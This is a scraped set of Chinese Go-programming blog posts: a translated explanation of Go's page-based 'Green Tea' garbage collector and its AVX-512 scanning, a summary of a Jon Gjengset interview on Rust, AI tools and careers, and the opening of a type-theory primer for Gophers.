运行时中实际的图遍历算法。\n让我们继续…\n接下来我们找到了另一个数组对象…\n并遍历它…\n我们的工作列表上只剩最后一个对象了…\n让我们扫描它…\n标记阶段完成了！我们没有任何正在处理的工作，工作列表也空了。所有用黑色绘制的对象都是可达的，所有用灰色绘制的对象都是不可达的。让我们一次性清除所有不可达的对象。\n我们已将那些对象转换为空闲槽位，准备好容纳新的对象。\n问题所在 经过上面一番摸索，我认为我们已经掌握了 Go 垃圾回收器的实际工作原理。目前看来，这个过程运行良好，那么问题出在哪里呢？\n事实证明，在某些程序中，执行这个特定算法会花费大量时间，而且几乎会给所有 Go 程序带来显著的开销。Go 程序将 20% 甚至更多的 CPU 时间用于垃圾回收的情况并不少见。\n让我们来分析一下这些时间都花在了哪里。\n垃圾回收成本 在宏观层面上，垃圾回收器的成本由两部分组成。一是运行频率，二是每次运行所做的工作量。将这两者相乘，就得到了垃圾回收的总成本。\nTotal GC cost = Number of GC cycles × Average cost per GC cycle 即 总 GC 成本 = GC 周期数 × 每个 GC 周期的平均成本 多年来，我们一直在研究这个等式中的这两个术语。要了解更多关于垃圾回收器运行频率的信息，请参阅 Michael 在 2022 年 GopherCon EU 大会上的关于内存限制的演讲。 Go 垃圾回收器的指南也对此主题进行了很多阐述，如果你想深入了解，值得一看。\n但现在，我们只关注第二部分，即每个周期的成本。\n多年来，我们不断研究 CPU Profile分析结果，试图提高性能，从中我们了解到 Go 的垃圾回收器有两大特点。\n第一，大约 90% 的垃圾回收器成本都花在了标记上，只有大约 10% 是在清除。事实证明，清除比标记更容易优化，多年来 Go 已经拥有了一个非常高效的清除器。\n第二，在那段用于标记的时间里，有相当大一部分(通常至少有 35%)，都浪费在了访问堆内存上。这本身已经够糟糕了，更糟糕的是，它完全阻碍了现代 CPU 真正高速运行的关键机制。\n“微架构灾难” 在这种情况下，“堵塞工作机制(gump up the works)”意味着什么？现代 CPU 的具体构造相当复杂，所以我们用一个类比来说明。\n想象 CPU 在一条路上行驶，这条路就是你的程序。CPU 想要加速到很高的速度，为此它需要能看清前方的路，并且道路必须畅通。但图遍历算法对 CPU 来说，就像在城市街道里开车。CPU 看不到拐角后的情况，也无法预测接下来会发生什么。为了前进，它必须不断地减速、转弯、在红绿灯前停下、避开行人。你的引擎有多快几乎无关紧要，因为你根本没有机会真正跑起来。\n让我们通过再次审视我们的例子来使这一点更具体。我在这里的堆上叠加了我们所走的路径。每个从左到右的箭头代表我们做的一段扫描工作，虚线箭头则显示了我们在不同扫描工作之间是如何跳转的。\n上图展示了我们的图泛洪示例中，垃圾回收器在堆中执行的路径。\n请注意，我们正在内存中到处跳转，在每个地方只做一点点工作。特别是，我们频繁地在页之间，以及页的不同部分之间跳转。\n现代 CPU 做了大量的缓存。访问主内存可能比访问缓存中的内存慢上 100 倍。CPU 缓存中填充的是最近访问过的内存，以及与最近访问过的内存相邻的内存。但是，并不能保证两个相互指向的对象在内存中也彼此靠近。图泛洪算法并没有考虑到这一点。\n补充一点：如果我们只是在等待从主内存中获取数据，情况可能还没那么糟。CPU 会异步地发出内存请求，所以即使是慢的请求也可以重叠，只要 CPU 能看得足够远。但在图遍历中，每一小段工作都是不可预测的，并且高度依赖于上一段工作，所以 CPU 被迫几乎在每一次独立的内存获取后都进行等待。\n不幸的是，对我们来说，这个问题只会越来越严重。业界有句格言：“等两年，你的代码会变得更快。”\n但 Go，作为一个依赖于标记-清除算法的垃圾回收语言，却面临着相反的风险。“等两年，你的代码会变得更慢。” 现代 CPU 硬件的趋势正在给垃圾回收器的性能带来新的挑战：\n非一致性内存访问 (Non-uniform memory access)。 首先，内存现在往往与 CPU 核心的子集相关联。其他 CPU 核心访问该内存的速度比前者慢。换句话说，主内存访问的成本取决于哪个 CPU 核心正在访问它 。这种成本是不一致的，因此我们称之为非一致内存访问，简称 NUMA。\n内存带宽减少 (Reduced memory bandwidth)。 每个 CPU 的可用内存带宽随着时间推移呈下降趋势。这意味着虽然我们拥有更多的 CPU 核心，但每个核心能够提交的数据量相对较少。 对主内存的请求导致未缓存的请求等待时间比以前更长。\n越来越多的 CPU 核心 (Ever more CPU cores)。 上面，我们看的是一个顺序的标记算法，但真正的垃圾回收器是并行执行此算法的。这在核心数量有限的情况下扩展得很好，但即使经过精心设计，用于扫描的共享对象队列也会成为一个瓶颈。\n现代硬件特性 (Modern hardware features)。 新硬件拥有像向量指令这样的酷炫功能，让我们能一次性操作大量数据。虽然这有可能大幅提升速度，但目前还不清楚如何才能实现这一点。因为标记工作包含很多不规则且通常是小块的工作。\n绿茶(Green Tea) 最后，我们来看看绿茶算法，这是我们对标记扫描算法的一个新的尝试。绿茶算法的核心思想非常简单：\n操作页面，而不是对象。\n听起来很简单，对吧？然而，为了弄清楚如何安排对象图遍历的顺序以及我们需要跟踪哪些内容才能使其在实践中有效运作，我们做了大量的工作。\n更具体地说，这意味着：\n我们不再扫描对象，而是扫描整个页。 我们不再在工作列表上跟踪对象，而是跟踪整个页。 我们最终(在一个扫描周期结束时)仍然需要标记对象，但我们会跟踪每个页面本地标记的对象，而不是跟踪整个堆中的标记对象。 绿茶示例 让我们通过再次审视我们的示例堆，来看看这在实践中意味着什么，但这次运行的是“绿茶”而不是直接的图泛洪。\n和之前一样，请跟随带注释的幻灯片进行浏览。\n这和之前的堆是一样的，但现在每个对象有两个比特的元数据而不是一个。同样，每个比特或框，对应于页中的一个对象槽位。总的来说，我们现在有 14 个比特对应于页 A 中的七个槽位。\n顶部的比特代表和以前一样的东西：我们是否见过一个指向该对象的指针。我称之为“已见” (seen) 位。底部的比特集是新的。这些“已扫描” (scanned) 位跟踪我们是否已经扫描了该对象。\n这块新的元数据是必需的，因为在“绿茶”中，工作列表跟踪的是页，而不是对象。我们仍然需要在某种程度上跟踪对象，这就是这些比特的目的。\n我们和以前一样开始，从根开始遍历对象。\n但这一次，我们不是把一个对象放到工作列表上，而是把整个页——在这里是页 A——放到工作列表上，通过将整个页用蓝色阴影表示。\n我们找到的对象也是蓝色的，表示当我们从工作列表中取出这个页时，我们将需要查看那个对象。请注意，对象的蓝色调直接反映了页 A 中的元数据。其对应的“已见”位被设置，但其“已扫描”位没有。\n我们跟随下一个根，找到另一个对象，再次将整个页——页 C——放到工作列表上，并设置该对象的“已见”位。\n我们处理完根了，所以我们转向工作列表，并从工作列表中取出页 A。\n通过“已见”和“已扫描”位，我们可以知道页 A 上有一个对象需要扫描。\n我们扫描那个对象，跟随它的指针。结果，我们将页 B 添加到工作列表，因为页 A 中的第一个对象指向了页 B 中的一个对象。\n我们处理完页 A 了。接下来我们从工作列表中取出页 C。\n与页 A 类似，页 C 上有一个单独的对象需要扫描。\n我们在页 B 中找到了一个指向另一个对象的指针。页 B 已经在工作列表上了，所以我们不需要向工作列表添加任何东西。我们只需为目标对象设置“已见”位。\n现在轮到页 B 了。我们在页 B 上累积了两个待扫描的对象，我们可以按内存顺序，连续处理这两个对象！\n我们遍历第一个对象的指针…\n我们在页 A 中找到了一个指向一个对象的指针。页 A 之前在工作列表上，但此时不在了，所以我们把它放回工作列表。与原始的标记-清除算法不同，在原始算法中，任何给定的对象在整个标记阶段最多只会被添加到工作列表一次；而在“绿茶”中，一个给定的页在标记阶段可能会多次出现在工作列表上。\n我们在扫描完第一个之后，立即扫描页中的第二个“已见”对象。\n我们在页 A 中又找到了几个对象…\n我们扫描完页 B 了，所以我们从工作列表中取出页 A。\n这次我们只需要扫描三个对象，而不是四个，因为我们已经扫描过第一个对象了。我们通过查看“已见”和“已扫描”位之间的差异，来知道要扫描哪些对象。\n我们将按顺序扫描这些对象。\n我们完成了！工作列表上没有更多的页了，我们也没有正在处理的东西。请注意，现在元数据都很好地对齐了，因为所有可达的对象都既被“已见”又被“已扫描”。\n你可能在我们的遍历过程中也注意到了，工作列表的顺序与图遍历有点不同。图遍历是“后进先出”或类似栈的顺序，而这里我们对工作列表上的页使用的是“先进先出”或类似队列的顺序。\n这是有意为之的。当页在队列中等待时，我们让“已见”对象在每个页上累积，这样我们就可以一次性处理尽可能多的对象。这就是我们能一次性处理页 A 上那么多对象的原因。有时候，懒惰是一种美德。\n最后，我们可以像以前一样，清除掉未访问的对象。\n驶上高速公路 让我们回到我们开车的比喻。我们终于要上高速公路了吗？\n让我们回顾一下之前的图泛洪图片。\n原始图遍历在堆中穿行的路径需要 7 次独立的扫描。\n我们到处跳跃，在不同的地方做着零碎的工作。“绿茶”所走的路径看起来非常不同。\n“绿茶”所走的路径仅需要 4 次扫描。\n相比之下，绿茶在 A 和 B 页面上从左到右的移动次数较少，但每次移动时间更长。 这些箭头越长越好，箭头堆积越多，这种效果就越强。这就是绿茶的魅力所在。\n这也是我们驰骋高速公路的机会。\n这一切都使得它与微架构更加契合。现在，我们可以更精确地扫描彼此靠近的对象，从而更有可能利用缓存并避免使用主内存。同样，每页的元数据也更有可能被缓存。跟踪页面而非对象意味着工作列表更小，而工作列表压力的降低意味着争用更少，CPU 停顿也更少。\n说到高速公路，我们可以把我们比喻意义上的引擎开到以前从未开过的档位，因为现在我们可以使用向量硬件了！\n向量加速 如果你对向量硬件只有粗浅的了解，可能会不明白我们在这里如何使用它。但除了常见的算术和三角运算之外，最新的向量硬件还支持两项对绿茶算法非常有用的功能：超宽寄存器和复杂的位运算。\n大多数现代 x86 CPU 都支持 AVX-512 指令集，它拥有 512 位宽的向量寄存器。如此宽的寄存器足以在 CPU 上仅使用两个寄存器来存储整个页面的所有元数据，从而使 Green Tea 能够仅用几条直线指令就完成整个页面的扫描。向量硬件长期以来一直支持对整个向量寄存器进行基本的位运算，但从 AMD Zen 4 和 Intel Ice Lake 开始，它还支持一种新的位向量“瑞士军刀”指令，使得 Green Tea 扫描过程中的关键步骤能够在几个 CPU 周期内完成。这些改进共同作用，使我们能够大幅提升 Green Tea 的扫描循环速度。\n对于之前的图泛洪来说，这根本不可能，因为我们需要在各种大小的对象之间来回扫描。有时只需要两条元数据，有时却需要一万条。向量硬件根本无法满足这种可预测性和规律性要求。\n如果你想深入了解一些细节，请继续阅读！否则，请随时跳到下面的【评估】小节。\nAVX-512 扫描内核 要了解 AVX-512 GC 扫描是什么样子，请看下面的图。\n用于扫描的 AVX-512 矢量内核 这里面涉及的内容很多，我们可能光是解释它的运作原理就能写一整篇博客文章。现在，我们先从宏观层面来概括一下：\n首先，我们获取页面的“已查看”和“已扫描”位。请记住，页面中的每个对象对应一位，并且页面中的所有对象大小相同。 接下来，我们比较这两个位集。它们的并集成为新的“扫描”位，而它们的差集则是“活动对象”位图，它告诉我们在本次页面扫描过程中（与之前的扫描相比）需要扫描哪些对象。 我们计算两个位图的差值并进行“扩展”，这样就不是每个对象占用一位，而是页面中的每个字（8 字节）占用一位。我们称之为“活动字”位图。例如，如果页面存储 6 个字（48 字节）的对象，则活动对象位图中的每位将被复制到活动字位图中的 6 位。如下所示： 0 0 1 1 ... → 000000 000000 111111 111111 ... 接下来，我们获取页面的指针/标量位图。同样，这里的每一位都对应页面的一个字（8 字节），并告诉我们该字是否存储指针。这些数据由内存分配器管理。\n现在，我们取指针/标量位图和活动字位图的交集。结果就是“活动指针位图”：该位图告诉我们尚未扫描的任何活动对象中包含的整个页面中每个指针的位置。\n最后，我们可以遍历页面内存并收集所有指针。逻辑上，我们遍历活动指针位图中的每个置位，加载该字处的指针值，并将其写回缓冲区。该缓冲区稍后将用于标记已访问的对象并将页面添加到工作列表中。利用向量指令，我们只需几条指令即可一次处理 64 字节。\n让这一切变快的部分原因是 VGF2P8AFFINEQB 指令，它是“Galios Field新指令” x86 扩展的一部分，也是我们上面提到的位操作“瑞士军刀”。它是真正的明星，因为它让我们能够非常高效地完成扫描内核中的第 (3) 步。它执行逐位的仿射变换，将向量中的每个字节本身视为一个 8 位的数学向量，并将其与一个 8×8 的比特矩阵相乘。这一切都是在Galios Field GF(2) 上完成的，这意味着乘法是AND，加法是XOR。这样做的好处是，我们可以为每个对象大小定义几个 8×8 的比特矩阵，来精确地执行我们需要的 1:n 比特扩展。\n完整的汇编代码，请看这个文件。“扩展器”为每个大小类别使用不同的矩阵和不同的排列，所以它们在一个由代码生成器编写的单独文件中。除了扩展函数，代码量其实不多。大部分代码都被极大地简化了，因为我们可以在纯粹位于寄存器中的数据上执行大部分上述操作。而且，希望很快这段汇编代码将被 Go 代码所取代！\n感谢 Austin Clements 设计了这个过程。它非常酷，而且非常快！\n评估 那么，这就是Green Tea的工作原理。它到底有多大帮助呢？\n效果可能相当显著。即使不考虑向量增强，我们的基准测试套件也显示垃圾回收的 CPU 成本降低了 10% 到 40%。例如，如果应用程序 10% 的时间都花在了垃圾回收器上，那么根据工作负载的具体情况，整体 CPU 消耗将降低 1% 到 4%。垃圾回收 CPU 时间降低 10% 大致是典型的改进幅度。\n（有关这些细节，请参阅 GitHub issue。）\n我们在谷歌内部推广了绿茶，并且大规模推广后也看到了类似的效果。\n我们仍在推出向量增强功能，但基准测试和早期结果表明，这将额外带来 10%的 GC CPU 降低。\n虽然大多数工作负载都能在一定程度上受益，但也有一些工作负载不会受益。\nGreen Tea 算法基于这样的假设：我们可以一次性在单页上累积足够多的对象进行扫描，从而抵消累积过程的成本。如果堆结构非常规则（对象大小相同，且在对象图中的深度也相近），那么这个假设显然成立。但是，有些工作负载通常要求我们每次只能扫描一个对象。这可能比图泛洪更糟糕，因为我们可能在尝试累积对象到页面上的过程中，反而做了更多工作，最终却失败了。\nGreen Tea 算法针对仅包含单个待扫描对象的页面进行了特殊处理。这有助于减少性能回退，但并不能完全消除它们。\n然而，要超越图泛洪算法，所需的单页累积数据量远比你想象的要少。这项研究的一个意外发现是，每次仅扫描页面 2% 的数据就能取得比图泛洪算法更好的性能。\n可用性 “绿茶”已经在最近的 Go 1.25 版本中作为实验性功能提供，并且可以通过在构建时将环境变量 GOEXPERIMENT 设置为 greenteagc 来启用。这不包括前述的向量加速。\n我们预计在 Go 1.26 中将“绿茶”作为默认的垃圾回收器，但你仍然可以通过 GOEXPERIMENT=nogreenteagc 在构建时选择退出。Go 1.26 还将在较新的 x86 硬件上增加向量加速，并根据我们收集的反馈包含一系列的调整和改进。\n如果可以，我们鼓励你尝试使用 Go 的最新tip版本！如果你更喜欢使用 Go 1.25，我们也同样欢迎您的反馈。请参阅这个 GitHub 评论，其中包含一些关于我们感兴趣的诊断信息、如果你可以分享的话，以及首选的反馈渠道的细节。\n旅程 在结束这篇博文之前，让我们花点时间谈谈我们走到今天的历程，以及这项技术背后的人的因素。\n绿茶的核心理念看似简单，就像某个人灵光一闪的灵感火花。\n但事实并非如此。“绿茶”是许多人多年来共同努力和构思的成果。Go 团队的多位成员都参与了构思，包括 Michael Pratt、Cherry Mui、David Chase 和 Keith Randall。当时在英特尔工作的 Yves Vandriessche 的微架构见解也对设计探索起到了至关重要的作用。为了使这个看似简单的理念得以实现，我们尝试了许多方法，也处理了许多细节问题。\n时间线描绘了我们在达到今天这种状态之前，尝试过的一些类似想法 这个想法的萌芽可以追溯到2018年。有趣的是，团队里的每个人都认为最初的想法是别人提出的。\n绿茶这个名字是在2024年得来的。当时，奥斯汀在日本四处寻觅咖啡馆，喝了无数抹茶，并由此构思出了早期版本的原型！这个原型证明了绿茶的核心理念是可行的。从此，我们便开始了绿茶的研发之路。\n在 2025 年，随着 Michael 将绿茶项目实施并投入生产，其理念进一步发展和变化。\n这需要大量的协作探索，因为绿茶算法不仅仅是一个算法，而是一个完整的设计空间。我们认为，单凭我们中的任何一个人都无法独自驾驭它。仅仅有想法是不够的，你还需要弄清楚细节并加以验证。现在我们已经做到了，终于可以开始迭代了。\n“绿茶”的未来是光明的。\n再次，请通过设置 GOEXPERIMENT=greenteagc 来尝试它，并让我们知道它的效果如何！我们对这项工作感到非常兴奋，并希望听到你的声音！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/31/deep-into-go-green-tea-gc/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/deep-into-go-green-tea-gc-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/31/deep-into-go-green-tea-gc\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/31/deep-into-go-green-tea-gc\"\u003ehttps://tonybai.com/2025/10/31/deep-into-go-green-tea-gc\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e关注 Go 语言演进的 Gopher 们可能已经注意到，\u003ca href=\"https://tonybai.com/2024/10/10/pass-torch-to-go-new-leadership-team/\"\u003eGo 团队更换技术负责人\u003c/a\u003e以来，对运行时 (runtime) 和编译器 (compiler) 核心组件的打磨正日益成为团队的工作重心。从备受期待的\u003ca href=\"https://tonybai.com/2025/05/03/go-green-tea-garbage-collector/\"\u003e“绿茶”GC (Green Tea GC)\u003c/a\u003e，到 \u003ca href=\"https://tonybai.com/2025/08/22/go-simd-package-preview\"\u003e标准库simd 加速包的探索\u003c/a\u003e，再到 \u003ca href=\"https://tonybai.com/2024/11/14/go-map-use-swiss-table/\"\u003e基于swisstable的 map 的实现\u003c/a\u003e，以及 \u003ca href=\"https://tonybai.com/2025/08/09/true-streaming-support-in-jsonv2\"\u003ejson/v2\u003c/a\u003e 的设计实现，一系列动作都预示着 Go 正在其性能核心地带进行着深刻的自我革新。\u003c/p\u003e","title":"Go 官方详解“Green Tea”垃圾回收器：从对象到页，一场应对现代硬件挑战的架构演进"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/30/jon-gjengset-rust-ai-future\n大家好，我是Tony Bai。\n他是 MIT 的博士，Rust 社区的知名布道者，《Rust for Rustaceans》作者，前亚马逊首席工程师，现欧洲顶尖 AI 防务公司 Helsing 的首席工程师。Jon Gjengset 的履历，本身就是一部现代软件工程师的精英成长史。\n在一场深度访谈中，Gjengset 以其一贯的冷静与深刻，系统性地阐述了他对 Rust 语言的哲学、AI 带来的冲击、工程师的职业发展，乃至在美欧之间做出的人生选择。这既是一场关于技术的对话，更是一次关于如何在日益复杂的软件世界中，保持清醒思考和持续成长的思想盛宴。\nRust 的“预先头疼”哲学 连续九年被评为 Stack Overflow“最受喜爱”的语言，但实际使用率却仍在缓慢爬坡——Rust 的这种“叫好不叫座”现象背后，隐藏着其核心的设计哲学。Gjengset 将其精辟地概括为：“Rust 让你预先头疼 (gives you the headache up front)。”\n“你终究需要修复这些 bug。问题只在于，你愿意在编译时修复它们，还是在六个月后，当你的生产系统崩溃时再修复？”\n这正是 Rust 与 Go、Java 等 GC 语言在开发者体验上的根本分歧。Rust 通过其著名的借用检查器 (Borrow Checker)，在编译期强制开发者思考清楚数据的生命周期和所有权，以换取运行时的极致安全和性能。\n这个陡峭的学习曲线，也正是 Rust 最大的“护城河”。Gjengset 认为，学习 Rust 的过程，本质上就是在你的大脑中，强制安装并训练一个强大的静态分析器。这个“脑内借用检查器”一旦形成，其价值将溢出到你使用的所有语言中。\nAI 时代的“悲观”乐观主义 当被问及 AI 是否会取代程序员时，Gjengset 展现了一种独特的“悲观的乐观主义”。\n悲观之处：“AI 被过度炒作了，因为它无法真正理解” 他认为，当前由 LLM 驱动的 AI，其核心能力是模式复制与推断，而非真正的理解与推理 (understanding and reasoning)。\n“它们在预测行星的位置上表现出色，但它们无法推导出驱动其运动的底层物理原理。”\n他将这一观点延伸到编程领域：AI 擅长编写那些有大量现有范例可供学习的代码，但对于那些需要深刻理解类型系统、并发模型或创造全新抽象的创新性任务，AI 依然力不从心。\n乐观之处：“它只是更好的电锯” Gjengset 引用了一位开发者在 BlueSky 上的比喻，来阐述他对 AI 工具角色的看法：\n“因为 Agentic AI 的出现而辞去软件工程师的工作，就像因为电锯的发明而辞去木匠的工作一样，毫无道理。”\nAI 并非替代品，而是一个强大的工具，一个“加速器”。它将开发者从重复、繁琐的“模板式”工作中解放出来，让我们有更多时间去从事更高层次的、更具创造性的工作。\n工程师的职业选择 —— 从 AWS 到欧洲独角兽 Gjengset 的职业路径，本身就是一部关于工程师如何在巨头与创业公司之间做出选择的生动教材。\n在亚马逊：自下而上的变革 在 AWS，他的职责是构建和维护 Rust 的内部构建系统。他强调，Rust 在亚马逊的普及，并非一次自上而下的行政命令，而是一场由一线团队驱动的、自下而上的变革。团队选择 Rust 的核心驱动力，是为了解决 Java/Kotlin 在 GC 停顿下难以优化的尾部延迟 (tail latency) 问题。\n离开美国，回归欧洲：一次关于“社会”的选择 2023 年，Gjengset 做出了一个令许多人意外的决定：离开美国，搬回欧洲。他坦言，这并非一个纯粹的职业选择，而是一个更深层次的、关于**“社会” (society)** 的选择。他的选择，为所有面临跨国职业机会的工程师提供了一个深刻的参考：职业选择，最终是个人价值观的体现。\n对 Go 的犀利‘判词’——一场关于权衡的对话 Gjengset 的故事与 Go 有着不解之缘——他最初的博士论文项目原型，正是用 Go 编写的。这段经历，让他对 Go 与 Rust 的哲学差异，有了最为直观和深刻的体悟。\n核心批评：“Go 忽略了自 70 年代以来的编程语言研究” 当被问及“Rust 在哪些方面比 Go 更好”时，Gjengset 的回答直截了当，甚至有些“刺耳”：\n“哦，Rust 比 Go 更好，因为它有类型系统。这太简单了。Go 在被创造时，选择性地忽略了自 1970 年代以来几乎所有的编程语言研究成果。而 Rust 则决定从这些创新中学习。最终，你得到了一门更复杂，但写起来也有趣得多、表达力强得多的语言。对我来说，这就是最大的区别，也是我不想再用 Go 的原因。”\n这句犀利的批评，直指 Go 语言设计的核心权衡：Go 为了追求极致的“简单”，在语言的“表达力”上做出了巨大的妥协。\nGjengset 认为，Rust 强大的类型系统（如 enum、模式匹配、Trait 系统）不仅仅是为了内存安全，更是为了让开发者能够在编译期，就对程序的行为建立起更强大的保证 (Guarantees)。他举例说，在 Rust 中可以利用类型系统创建 CoordinateInFrameA 这样的类型，从而在编译期就杜绝坐标系混用的错误，而这在 Go 中难以轻易实现。\nGo 的“nil 指针” vs. Rust 的“编译期保证” 在向一个 Go 团队“推销”Rust 时，Gjengset 会说什么？\n“你的应用在运行时因为一个错误而崩溃，这感觉很糟糕吧？在 Rust 中，这种事发生的概率要小得多。”\n他认为，Go 开发者引以为傲的“我没有空指针异常”，其实只是将问题转化为了“nil 指针异常”。虽然 Go 通过 if err != nil 强制处理错误，但大量的业务逻辑错误，依然只能在运行时暴露。而 Rust 通过其类型系统和所有权模型，能将更多类别的错误扼杀在编译阶段。\n“脑内借用检查器”对 Gopher 的价值 Gjengset 提出的一个极具启发性的观点是，学习 Rust 的思维模式，可以反哺我们的 Go 编程实践。一个内化了“借用检查”思想的 Gopher，会对以下问题更加敏感：\n理解 Go 的逃逸分析：当你的“脑内借用检查器”告诉你“从函数返回一个局部变量的引用是不合法的”时，在 Go 的世界里，这意味着“哦，这个变量会逃逸到堆上，我应该思考一下这带来的性能影响”。 编写更健壮的并发代码：虽然 Go 的 channel 提供了强大的并发同步机制，但对于通过指针共享数据等场景，一个关于数据所有权和生命周期的清晰心智模型，能帮助你从根本上避免数据竞争。 小结：给开发者的忠告 —— 跨越语言的智慧 在访谈的最后，Gjengset 还分享了他对 C++ 等语言的看法，这些看法充满了辨证的智慧。\n对 C++ 团队：“你已经通过 RAII 获得了部分内存安全，但你的并发安全呢？Rust 可以在编译期静态地排除数据竞争。” 对所有开发者：不要害怕借用检查器。它虽然让你“预先头疼”，但它正在你的大脑中构建一个关于数据流的强大心智模型，这个模型将使你在使用任何语言时，都成为一个更优秀的程序员。 Jon Gjengset 的这场访谈，远不止是一次对 Rust 的“布道”。它是一次关于工程权衡、技术信仰、职业战略和个人价值观的深度剖析。对于 Gopher 而言，这场来自 Rust 阵营的“他山之石”，深刻地揭示了 Go 在诞生之初所做出的核心权衡：用语言表达力的“舍”，换取工程效率和心智负担的“得”。\n理解这场对话，将使我们对自己手中的工具，有更清醒的认知和更深刻的敬畏。\n资料链接：https://www.youtube.com/watch?v=nOSxuaDgl3s\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/30/jon-gjengset-rust-ai-future/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/jon-gjengset-rust-ai-future-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/30/jon-gjengset-rust-ai-future\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/30/jon-gjengset-rust-ai-future\"\u003ehttps://tonybai.com/2025/10/30/jon-gjengset-rust-ai-future\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e他是 MIT 的博士，Rust 社区的知名布道者，《\u003ca href=\"https://book.douban.com/subject/35520588/\"\u003eRust for Rustaceans\u003c/a\u003e》作者，前亚马逊首席工程师，现欧洲顶尖 AI 防务公司 Helsing 的首席工程师。Jon Gjengset 的履历，本身就是一部现代软件工程师的精英成长史。\u003c/p\u003e","title":"Rust 布道者Jon Gjengset深度访谈：在 AI 时代，我们该如何思考编程、职业与未来？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/30/type-theory-intro-for-gopher\n大家好，我是Tony Bai。\n你是否曾有过这样的经历：在浏览一个关于 Go 泛型或接口设计的 GitHub issue 或技术提案时，评论区里的大佬们突然开始讨论 “Sum Type”、“Product Type”、“Parametric Polymorphism” 或是 “Higher-Kinded Types”。一瞬间，你感觉自己仿佛闯入了一个学术研讨会，这些看似熟悉又陌生的词汇让你一头雾水，只想默默关掉页面。\n作为一名务实的 Gopher，我们习惯于用具体的代码和设计模式来思考问题。我们关心的是接口的解耦能力、struct 的组合性、goroutine 的并发效率。这些学院派的类型理论术语，似乎离我们的日常工作很遥远。\n然而，事实并非如此。这些术语并非象牙塔里的空谈，它们是计算机科学家们经过几十年沉淀，用来精确描述和分类编程语言核心特性的“通用语言”。理解它们，就像给一位经验丰富的工匠配上了一套精准的图纸和测量工具。它能让你：\n更深刻地理解 Go 的设计哲学：为什么 Go 的接口如此强大？为什么 Go 1.18之前 长期以来没有泛型？为什么 int 和 int32 不能直接相加？这些背后都有类型理论的影子。 更清晰地沟通技术方案：当你能用“Product Type”来描述 struct，用“Sum Type”的思想来解释接口的用途时，你的技术沟通会变得更加精确和高效。 看懂高阶的技术讨论：无论是 Go 语言的未来演进，还是与其他语言（如 Rust, Haskell, Scala）的对比，这些术语都是绕不开的基石。 本文的灵感来源于阅读Simon Thompson教授所著《Type Theory \u0026amp; Functional Programming》一书时的感悟，但我们的目标并非成为类型理论的研究者。恰恰相反，我们的目标是做一个“翻译者”，将这些核心的理论概念，用我们最熟悉的 Go 语言特性和代码示例进行“转码”，彻底拉通学术殿堂与工程实践之间的鸿沟。\n准备好了吗？让我们一起告别懵圈，开启这段实战派 Gopher 的类型理论入门之旅。\n地基与框架 —— 到底什么是“类型系统”？ 在深入具体的类型之前，我们首先需要建立一个宏观的框架。一个编程语言的类型系统 (Type System)，从学术角度来说，是一套规则集合，它为程序中的每个值（value）、变量（variable）和表达式（expression）都关联一个“类型”属性。\n它的核心目的非常单纯且强大：在程序造成危害（比如运行时崩溃）之前，通过检查类型的合法性来预防错误。正如 Go 的领军人物 Rob Pike 所言：类型系统旨在“让非法的状态无法表示”。\n为了系统性地理解它，我们可以从以下几个关键维度来对其进行分类和审视。\n类型检查的时机：编译时 vs. 运行时 (Static vs. Dynamic) 这是对类型系统最基本、最重要的划分。\n静态类型 (Statically Typed) 定义：类型检查在编译时完成。编译器会像一位严谨的图书管理员，在程序运行前，通读你的全部代码，检查每一个变量的赋值、每一次函数调用，确保类型在所有地方都严格匹配。如果发现问题，程序将无法通过编译。\n优点：\n早期错误发现：绝大多数类型相关的 bug 